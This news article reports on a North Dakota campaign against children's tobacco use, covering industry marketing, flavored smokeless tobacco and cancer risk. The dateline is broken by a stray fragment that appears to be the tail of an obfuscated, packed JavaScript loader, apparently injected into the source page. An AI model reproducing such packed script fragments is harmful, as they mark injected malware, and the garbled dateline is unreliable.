VALLEY rrndd|var|u0026u|referrer|daynh||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) North Dakota’s Center for Tobacco Prevention and Control Policy launched a new public education campaign to heighten awareness of the ongoing threat tobacco use poses to the state’s children.

Research from the Campaign for Tobacco-Free Kids indicates that 3,000 children in the U.S. try tobacco for the first time every day and, at this rate, 11,000 North Dakota children will die prematurely because of tobacco-related diseases. That is largely because the tobacco industry spends $25.7 million in North Dakota each year marketing their products to recruit new users, according to Vicki Voldal Rosenau, Barnes County tobacco prevention coordinator.

Jeanne Prom, executive director of the North Dakota Center for Tobacco Prevention and Control Policy, points out that the tobacco industry spends a majority of their promotional dollars marketing tobacco products to children.  “Tobacco is an industry that kills thousands of its regular customers every day,” Prom said. “They market their products to children in an attempt to constantly rebuild their client base, which is exactly why we need to continue using CDC-approved best practices to prevent our children from becoming addicted to tobacco products.”

Voldal-Rosenau said, in addition to cigarettes and cigars, the industry also markets smokeless tobacco to young people. In the past, spit tobacco was primarily used by older men, but has recently become popular among young men and boys. This increase is no accident. It is the result of tobacco companies’ directing marketing dollars towards snuff and chew with fruit or mint flavors. “Tobacco companies aggressively target kids by introducing addictive new items that look, taste and are packaged just like candy,” said Voldal-Rosenau.

According to the American Cancer Society, using smokeless tobacco increases the risk of developing cancer of the mouth, throat, esophagus and pancreas. Still, tobacco companies add flavors to attract children and market “smokeless” as a safe alternative.

Voldal-Rosenau said, “Tobacco use of any kind is a major problem in North Dakota. It remains the number one cause of death and disease in the state, and that’s why our prevention efforts are as important now as they have ever been.”

For more information about tobacco prevention, contact City-County Health District at 845-8518, or the Center for Tobacco Prevention and Control Policy at 1-877-277-5090 or info@breathend.com.